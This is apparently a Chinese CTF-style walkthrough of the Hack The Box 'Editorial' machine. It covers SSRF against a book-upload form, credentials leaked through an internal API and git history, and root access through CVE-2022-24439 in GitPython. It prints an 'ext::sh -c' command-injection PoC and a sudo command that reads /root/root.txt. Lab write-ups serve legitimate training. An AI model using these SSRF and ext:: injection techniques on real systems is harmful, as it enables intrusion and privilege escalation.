htb_Editorial

hack the book Editorial
在这里插入图片描述

端口扫描

80 22在这里插入图片描述

目录扫描
/upload
在这里插入图片描述

是一个上传book information的页面
其中最顶上有一个可以上传书本封面的地方,可以从本地上传,也可以从远程下载
这里可能涉及ssrf和本地文件上传,逐一尝试
在这里插入图片描述

随便上传一个图片文件,点击预览,最前面那个地方出现我们上传的图片
在这里插入图片描述

右键访问图片地址,直接就跳转到下载了
在这里插入图片描述

后面尝试上传shell文件,文件上传后被重命名,也没有找到利用方法
尝试远程文件下载,抓包
在这里插入图片描述
在这里插入图片描述

修改bookurl,包含http://127.0.0.1
在这里插入图片描述

ssrf的利用最常用的就是端口发现和本地文件探查,先试试最简单的端口发现
爆破端口
在这里插入图片描述
在这里插入图片描述

发现5000端口的消息长度不一样

在这里插入图片描述

回显一个地址
在这里插入图片描述

因为刚刚的包被我删掉了,重新抓包再修改url查看该目录的时候,发现回显404(这里没截图)

再重新访问5000端口,发现回显地址改变,很大可能该地址会有时间或者访问次数限制,隔一段时间会更新
在这里插入图片描述

于是直接抓post(upload-cover)和get两个包,发到Repeater
先访问5000端口,获得最新地址
在这里插入图片描述

再快速复制到get数据包的url里发送,果然有回显了
在这里插入图片描述
信息泄露

里面提到几个url地址
在这里插入图片描述
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

继续使用ssrf进行本地文件探查

又回显一个地址

在这里插入图片描述
快速访问

泄露出一个用户名密码
在这里插入图片描述
Username: dev

Password: dev080217_devAPI!@

开放了22端口,ssh登录
在这里插入图片描述

用户中还有一个prod
在这里插入图片描述

dev用户没有提权权限,大概率要移动到prod用户
在这里插入图片描述

用户目录下有一个隐藏的.git目录
查看后发现logs目录下的HEAD

在 Git 中,每个分支都有一个指向最新提交的指针。当我们进行提交操作时,HEAD
会自动指向最新提交,并将分支的指针也更新到最新提交。换句话说,HEAD 在每次提交后都会随之移动。

HEAD 指向最新的提交时,我们可以使用 git log 命令查看提交历史记录,或使用 git show HEAD
命令查看最新提交的详细信息。
在这里插入图片描述
git show 1e84a036b2f33c59e2390730699a488c65643d28

回车回车

发现一个泄露的账号密码,正好是prod
在这里插入图片描述
Username: prod

Password: 080217_Producti0n_2023!@

ssh登录prod
在这里插入图片描述

该用户有sudo -l权限
在这里插入图片描述

prod对目录和文件都没有修改权限,只能从py文件功能下手
在这里插入图片描述

#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')
//接受一个url参数,初始化git仓库
url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

查看git版本

pip3 list
在这里插入图片描述
版本3.1.29有cve,远程命令执行漏洞
CVE-2022-24439

poc

from git import Repo
r = Repo.init('', bare=True) r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])

修改poc,直接读取root.txt,

直接读取文件无回显
在这里插入图片描述
尝试将读出来的文件写入/tmp目录

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c cat% /root/root.txt% >% /tmp/root"

在这里插入图片描述
还可以反弹shell获取root权限

  • 11
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值